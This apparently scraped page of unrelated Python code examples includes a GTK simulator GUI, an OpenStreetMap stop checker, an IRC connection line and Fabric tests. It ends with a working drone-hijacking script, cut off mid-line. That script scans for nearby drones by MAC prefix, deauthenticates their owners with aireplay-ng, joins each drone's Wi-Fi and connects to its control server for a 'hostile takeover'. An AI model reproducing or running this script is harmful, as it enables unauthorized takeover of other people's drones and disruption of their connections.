		gobject.GObject.__init__(self)

		self.my_server=server()
		self.my_server.init(os.getcwd())
		self.my_server.statusicon.connect('popup-menu', self.on_status_icon_right_click)
		self.my_server.setup_gui(self.gui_sim_start,self.gui_sim_stop)

		if running_on_linux()==True:
			DBusGMainLoop(set_as_default=True)
			self.bus = dbus.SessionBus()
			self.bus.add_match_string_non_blocking("type='signal',interface='org.my.opvdm'")
			self.bus.add_message_filter(self.adbus)

		else:
			self.win_pipe=win_pipe()
			self.win_pipe.connect('new-data', self.win_dbus)
			self.win_pipe.start()

		self.window = gtk.Window(gtk.WINDOW_TOPLEVEL)
		#self.window.set_size_request(-1,1000)
		self.window.set_border_width(10)
		self.window.set_title(_("Organic Photovoltaic Device Model (www.opvdm.com)"))

		splash=splash_window()
		splash.init()

		temp_error=ver_error()
		print temp_error
		if len(temp_error)>0:
				md = gtk.MessageDialog(self.window,gtk.DIALOG_DESTROY_WITH_PARENT, gtk.MESSAGE_ERROR, gtk.BUTTONS_CLOSE, temp_error)
				md.run()
				md.destroy()

		self.undo_list=undo_list_class()
		self.undo_list.init()


		self.experiment_window=None

		self.fxexperiment_window=None

		self.qe_window=None

		self.win_list=windows()
		self.win_list.load()

		self.config=config()
		#table = gtk.Table(3,6,False)

		self.window.set_icon_from_file(os.path.join(get_image_file_path(),"image.jpg"))

		

		self.show_tabs = True
		self.show_border = True

		self.menu_items = (
		    ( _("/_File"),         None,         None, 0, "<Branch>" ),
			(_("/File/_New simulation"), "<control>N", self.callback_new, 0, "<StockItem>", "gtk-new" ),
			(_("/File/_Open simulation"), "<control>O", self.callback_open, 0, "<StockItem>", "gtk-open" ),
		    ( _("/File/_Export data"),     None, self.callback_export, 0, "<StockItem>", "gtk-save" ),
		    ( _("/File/Import data"),     None, self.callback_import, 0 , "<StockItem>", "gtk-harddisk"),
		    ( _("/File/Import from library"),     None, self.callback_import_from_lib, 0 , "<StockItem>", "gtk-harddisk"),
		    ( _("/File/Quit"),     "<control>Q", gtk.main_quit, 0, "<StockItem>", "gtk-quit" ),
		    ( _("/_Simulate"),      None,         None, 0, "<Branch>" ),
		    ( _("/Simulate/Run"),  None,         self.callback_simulate, 0, "<StockItem>", "gtk-media-play" ),
		    ( _("/Simulate/Parameter scan"),  None,         self.callback_scan , 0, None ),
		    ( _("/Simulate/Start cluster server"),  None,         self.callback_start_cluster_server , 0, None ),
		    ( _("/_View"),      None,         None, 0, "<Branch>" ),
		    ( _("/_Plots"),      None,         None, 0, "<Branch>" ),
		    ( _("/Plots/Plot simulation result"),  None,         self.callback_plot_select, 0, "<StockItem>", "gtk-open"),
		    ( _("/_Plots/"),     None, None, 0, "<Separator>" ),
		    ( _("/_Help"),         None,         None, 0, "<LastBranch>" ),
			( _("/_Help/Help Index"),   None,         self.callback_help, 0, "<StockItem>", "gtk-help"  ),
			

		    ( _("/_Help/About"),   None, self.callback_about_dialog, 0, "<StockItem>", "gtk-about" ),
		    )
		pos=0

		self.menubar = self.get_main_menu(self.window)

		#a = (( "/Plots/Plot after simulation",  None, self.callback_plot_after_run_toggle, 0, "<ToggleItem>" ),   )
		#self.item_factory.create_items( a, )


		#a = (( "/Plots/One plot window",  None, self.callback_set_plot_auto_close, 0, "<ToggleItem>" ),   )
		#self.item_factory.create_items( a, )


		#table.show()
		self.window.connect("destroy", gtk.main_quit)

		self.tooltips = gtk.Tooltips()

		self.window.set_size_request(-1, 780)
		main_vbox = gtk.VBox(False, 5)
		main_vbox.set_border_width(1)
		self.window.add(main_vbox)
		#window.add(table)
		main_vbox.show()


		toolbar = gtk.Toolbar()
		toolbar.set_style(gtk.TOOLBAR_ICONS)
		toolbar.set_size_request(-1, 50)

		open_sim = gtk.ToolButton(gtk.STOCK_OPEN)
		self.tooltips.set_tip(open_sim, _("Open a simulation"))
		toolbar.insert(open_sim, pos)
		pos=pos+1

		#self.save_sim = gtk.ToolButton(gtk.STOCK_SAVE)
		#self.tooltips.set_tip(self.save_sim, "Save a simulation")
		#toolbar.insert(self.save_sim, pos)
		#pos=pos+1

		new_sim = gtk.ToolButton(gtk.STOCK_NEW)
		self.tooltips.set_tip(new_sim, _("Make a new simulation"))
		toolbar.insert(new_sim, pos)
		pos=pos+1

		sep_lhs = gtk.SeparatorToolItem()
		sep_lhs.set_draw(True)
		sep_lhs.set_expand(False)
		toolbar.insert(sep_lhs, pos)
		pos=pos+1

		self.undo = gtk.ToolButton(gtk.STOCK_UNDO)
		self.tooltips.set_tip(self.undo, "Undo")
		toolbar.insert(self.undo, pos)
		self.undo.connect("clicked", self.callback_undo)
		pos=pos+1

		sep_lhs = gtk.SeparatorToolItem()
		sep_lhs.set_draw(True)
		sep_lhs.set_expand(False)
		toolbar.insert(sep_lhs, pos)
		pos=pos+1

	        image = gtk.Image()
   		image.set_from_file(os.path.join(get_image_file_path(),"play.png"))
		self.play = gtk.ToolButton(image)
		self.tooltips.set_tip(self.play, _("Run the simulation"))
		toolbar.insert(self.play, pos)
		self.play.connect("clicked", self.callback_simulate)
		pos=pos+1

		image = gtk.Image()
   		image.set_from_file(os.path.join(get_image_file_path(),"forward.png"))
		self.tb_run_scan = gtk.ToolButton(image)
		self.tb_run_scan.connect("clicked", self.callback_run_scan)
		self.tooltips.set_tip(self.tb_run_scan, _("Run parameter scan"))
		toolbar.insert(self.tb_run_scan, pos)
		self.tb_run_scan.set_sensitive(False)
		pos=pos+1

		if debug_mode()==True:
			image = gtk.Image()
	   		image.set_from_file(os.path.join(get_image_file_path(),"fit.png"))
			self.tb_run_fit = gtk.ToolButton(image)
			self.tb_run_fit.connect("clicked", self.callback_run_fit)
			self.tooltips.set_tip(self.tb_run_fit, _("Run a fit command"))
			toolbar.insert(self.tb_run_fit, pos)
			self.tb_run_fit.set_sensitive(True)
			pos=pos+1

	        image = gtk.Image()
   		image.set_from_file(os.path.join(get_image_file_path(),"pause.png"))
		self.stop = gtk.ToolButton(image )
		self.tooltips.set_tip(self.stop, _("Stop the simulation"))
		self.stop.connect("clicked", self.callback_simulate_stop)
		toolbar.insert(self.stop, pos)
		pos=pos+1

		sep = gtk.SeparatorToolItem()
		sep.set_draw(True)
		sep.set_expand(False)
		toolbar.insert(sep, pos)
		pos=pos+1

		image = gtk.Image()
   		image.set_from_file(os.path.join(get_image_file_path(),"scan.png"))
		self.param_scan = gtk.ToolButton(image)
		self.param_scan.connect("clicked", self.callback_scan)
		self.tooltips.set_tip(self.param_scan, _("Parameter scan"))
		toolbar.insert(self.param_scan, pos)
		pos=pos+1

		sep = gtk.SeparatorToolItem()
		sep.set_draw(True)
		sep.set_expand(False)
		toolbar.insert(sep, pos)
		pos=pos+1

	        image = gtk.Image()
   		image.set_from_file(os.path.join(get_image_file_path(),"plot.png"))
		self.plot_select = gtk.MenuToolButton(image,"hello")
		self.tooltips.set_tip(self.plot_select, _("Find a file to plot"))
		self.plotted_graphs = used_files_menu()
		self.plot_select.set_menu(self.plotted_graphs.menu)
		toolbar.insert(self.plot_select, pos)
		self.plot_select.connect("clicked", self.callback_plot_select)
		self.plot_select.set_sensitive(False)
		pos=pos+1

		#image = gtk.Image()
   		#image.set_from_file(os.path.join(get_image_file_path(),"refresh.png"))
		#self.plot_open = gtk.ToolButton(image)
		#self.tooltips.set_tip(self.plot_open, "Replot the graph")
		#toolbar.insert(self.plot_open, pos)
		#self.plot_open.set_sensitive(False)
		#os=pos+1

		image = gtk.Image()
   		image.set_from_file(os.path.join(get_image_file_path(),"plot_time.png"))
		self.examine = gtk.ToolButton(image)
		self.tooltips.set_tip(self.examine, _("Examine results in time domain"))
		self.examine.connect("clicked", self.callback_examine)
		toolbar.insert(self.examine, pos)
		pos=pos+1

		sep = gtk.SeparatorToolItem()
		sep.set_draw(True)
		sep.set_expand(False)
		toolbar.insert(sep, pos)
		pos=pos+1



		image = gtk.Image()
	   	image.set_from_file(os.path.join(get_image_file_path(),"time.png"))
		self.experiment_window_button = gtk.ToolButton(image)
		self.tooltips.set_tip(self.experiment_window_button, _("Edit the time mesh"))
		self.experiment_window_button.connect("clicked", self.callback_edit_experiment_window)
		toolbar.insert(self.experiment_window_button, pos)
		pos=pos+1

		image = gtk.Image()
   		image.set_from_file(os.path.join(get_image_file_path(),"spectrum.png"))
		self.examine = gtk.ToolButton(image)
		self.tooltips.set_tip(self.examine, _("Frequency domain mesh editor"))
		self.examine.connect("clicked", self.callback_fxexperiment_window)
		toolbar.insert(self.examine, pos)
		pos=pos+1

		sep2 = gtk.SeparatorToolItem()
		sep2.set_draw(False)
		sep2.set_expand(True)
		toolbar.insert(sep2, pos)
		pos=pos+1


		help = gtk.ToolButton(gtk.STOCK_HELP)
		self.tooltips.set_tip(help, "Help")
		help.connect("clicked", self.callback_help)
		toolbar.insert(help, pos)
		pos=pos+1


		#quittb = gtk.ToolButton(gtk.STOCK_QUIT)
		#self.tooltips.set_tip(quittb, "Quit")
		#toolbar.insert(quittb, pos)
		#quittb.connect("clicked", gtk.main_quit)
		#pos=pos+1

		new_sim.connect("clicked", self.callback_new)
		open_sim.connect("clicked", self.callback_open)
		#self.save_sim.connect("clicked", self.callback_export)

		#self.plot_open.connect("clicked", self.callback_plot_open)

		toolbar1=self.make_tool_box1()


		toolbar.show_all()



		main_vbox.pack_start(self.menubar, False, True, 0)
		handlebox = gtk.HandleBox()
		handlebox.set_snap_edge(gtk.POS_LEFT)
		handlebox.show()

		toolbar.set_size_request(1000, -1)

		tb_vbox=gtk.VBox()
		tb_vbox.add(toolbar)
		tb_vbox.add(toolbar1)
		tb_vbox.show()



		handlebox.add(tb_vbox)

		main_vbox.pack_start(handlebox, False, False, 0)

		self.window.connect("delete-event", self.callback_close_window) 

		self.win_list.set_window(self.window,"main_window")



		self.menubar.show()

		self.make_window2(main_vbox)

		self.window.show()


		process_events()
Esempio n. 55
0
print("Badana zmienna: stop_position") 
t3.checker(baza, stop_position, bez_ref_stops, small_ref, bad_name_stops, error)
print("________________________________")
print("Badana zmienna: bus_stop") 
t3.checker(baza, bus_stop, bez_ref_stops, small_ref, bad_name_stops, error)
print("________________________________")
print("Badana zmienna: tram_stop") 
t3.checker(baza, tram_stop, bez_ref_stops, small_ref, bad_name_stops, error)
print("________________________________")
print("Badana zmienna: platform") 
t3.checker(baza, platform, bez_ref_plat, small_ref, bad_name_plat, error)
print("________________________________")
print("Badana zmienna: bad_stop_position") 
t3.checker(baza, bad_stop_position, another_error, another_error, another_error, error)
print("________________________________")
#print(len(baza))
t1.take(baza, "stopy.txt", brak_id, brak_temp)
t4.make_json(brak_id, "brak_id.geojson")
t4.make_json(brak_temp, "brak_temp.geojson")
t4.make_json(bez_ref_stops, "bez_ref_stops.geojson")
t4.make_json(bez_ref_plat, "bez_ref_plat.geojson")
t4.make_json(bad_name_stops, "bad_name_stops.geojson")
t4.make_json(bad_name_plat, "bad_name_plat.geojson")
t4.make_json(another_error, "another_error.geojson")
t4.make_json(small_ref, "small_ref.geojson")

if start == 't':
    t5.server()
else:
    print("Ok...kończę pracę!")
Esempio n. 56
0
import server

serv = server.server("irc.epiknet.org", port=6667, nick="Bainos")
Esempio n. 57
0
    @server()
    @mock_streams('both')
    def test_warn_only_does_not_imply_hide_everything(self):
        run("ls /simple", warn_only=True)
        assert sys.stdout.getvalue() != ""


class TestMultipleOKReturnCodes(FabricTest):
    @server(responses={'no srsly its ok': ['', '', 1]})
    def test_expand_to_include_1(self):
        with settings(quiet(), ok_ret_codes=[0, 1]):
            eq_(run("no srsly its ok").succeeded, True)


slow_server = server(responses={'slow': ['', '', 0, 3]})
slow = lambda x: slow_server(raises(CommandTimeout)(x))

class TestRun(FabricTest):
    """
    @server-using generic run()/sudo() tests
    """
    @slow
    def test_command_timeout_via_env_var(self):
        env.command_timeout = 2 # timeout after 2 seconds
        with hide('everything'):
            run("slow")

    @slow
    def test_command_timeout_via_kwarg(self):
        with hide('everything'):
Esempio n. 58
0
def main():
	tmpfile = "/tmp/dronestrike" #temp file to save the output of airodump library
	drone_macs = ['90:03:B7','A0:14:3D',  '00:12:1C', '00:26:7E'] #Array of the first 6 bytes that are in the mac addresses of any drone
	#These values are found in the drone manual
	interface  = "wlan5" #The name of the first wireless interface that I will use it to hijack
	interface2 = "wlan7" #The name of the second interface to control the hijacked drone

	# paths to applications
	dhclient	= "dhclient"
	iwconfig	= "iwconfig"
	ifconfig	= "ifconfig"
	airmon	= "airmon-ng"
	aireplay	= "aireplay-ng"
	aircrack	= "aircrack-ng"
	airodump	= "airodump-ng"


	execute(ifconfig +' ' + interface +' down') #pu the interface down 	
	airmon_process = execute(airmon + ' start ' + interface) #putting interface in the monitor mode 



	mon_interface = 'mon0'
	cmd1 = 'sudo %s --output-format csv -w %s %s >>/dev/null 2>>/dev/null' %(airodump, tmpfile,interface)
	print cmd1 #running the airmonitor tool to capture all traffic in the air that we will analyze it later on
	airodump_process = execute2(cmd1)
	print airodump_process.pid
	time.sleep(3) # wait 3 seconds ... enough time to capture almost all wireless connections
	execute('sudo kill '+str(airodump_process.pid))
	time.sleep(1)
	execute('sudo kill -HUP ' +str(airodump_process.pid))
	time.sleep(1)
	execute('sudo kill -9 ' + str(airodump_process.pid))
	time.sleep(1)
	execute('sudo killall -9 ' + aireplay + ' '+ airodump)
	#make sure that airmonitor is killed

	my_drone = '90:03:B7:34:3B:02' #This is the make address of my drone so that I do NOT hijack myself
	#TO-DO make this variable an array that contains my drone and all hijacked drones, so whenever I hijcak one I don't hijack it again
	f = open(tmpfile+'-01.csv', 'rb') #reading the output of air-monitor tool 
	tmp_file = f.read()
	drones = []
	for mac in drone_macs: #finding all drones in the air
		pattern = '^(%s.[\w:]+),\s+\S+\s+\S+\s+\S+\s+\S+\s+(\d+),.*(ardrone\S+),' %(mac)
		val = re.findall(pattern ,tmp_file, re.MULTILINE)
		drones += val


	clients =[] 

	for mac in drone_macs: #finding all clients connected to the drones
		pattern = '^([\w:]+).*\s(%s.[\w:]+),' % (mac)
		val = re.findall(pattern, tmp_file, re.MULTILINE)
		clients += val
	
	print "Found %i drone(s)" %(len(drones))
	for d in drones:
		print d # printing the result 

	#raw_input("press Enter to Continue")

	# if len(drones) == 0:
	# 	print "No drones \nexitting ..."
	# 	return 

	print "Found %i client(s)" %(len(clients))
	for c in clients:
		print c #printing the clients 

	#raw_input("press Enter to Continue")

	execute('sudo rm '+tmpfile+'-01.csv')
	#removing the temp file


	# now, disconnect the TRUE owner of the drone.
	for c in clients:
		if(c[0])=='BSSID': #sometimes the air-mon tool returns an empty client has the word BSSID so this if condition to bypass that glitch
			continue
		d = find_drone(c[1], drones)
		print "Found client (" + str(c[0]) + ") connected to " + str(d)

		#res = raw_input("You want to disconnect the client?? [Y/N]\n")

		#if res == 'Y' or res =='y':

		#after finding the connected drone, excluding mine, I will start to send the de-auth packets
		if my_drone not in d: #
			cmd = 'sudo ' + iwconfig + ' ' + interface + ' channel ' + str(d[1])
			#print cmd
			execute(cmd)
			time.sleep(2)
			print "Disconnecting the true owner of the drone ;)\n\n"
			cmd = aireplay + " -0 20 -a " + str(d[0])+ " -c " + str(c[0]) + " "+ interface
			#print cmd
			execute(cmd)

	time.sleep(2)
	airmon_process = execute(airmon + ' stop  mon0') #Disabling the monitor mode 

	# connect to each drone and run our zombie client!
	for d in drones:
		#res = raw_input("You want to connect to the drone  ?? [Y/N]")
		#if res == 'Y' or res =='y':
		if my_drone not in d:
			print "\n\nConnecting to the hijacked drone\n"
			cmd = "sudo "+iwconfig+" "+interface2+" essid " +d[2]
			#print cmd
			execute(cmd)

			print "Acquiring IP from drone for hostile takeover\n"
		
			cmd = "sudo " +ifconfig+" "+interface2+ " 192.168.1.10"
			#setting the up statically, because sometimes the drone rejects to give us an IP using the dhcp server installed on the drone

			execute(cmd)

			execute('reset')
			execute('clear')
			print "\t\t\tTAKING OVER DRONE\n"
			server.server('192.168.1.1', 6665) #connecting to the drone server that is on ip 192.168.1.1 and make the panda board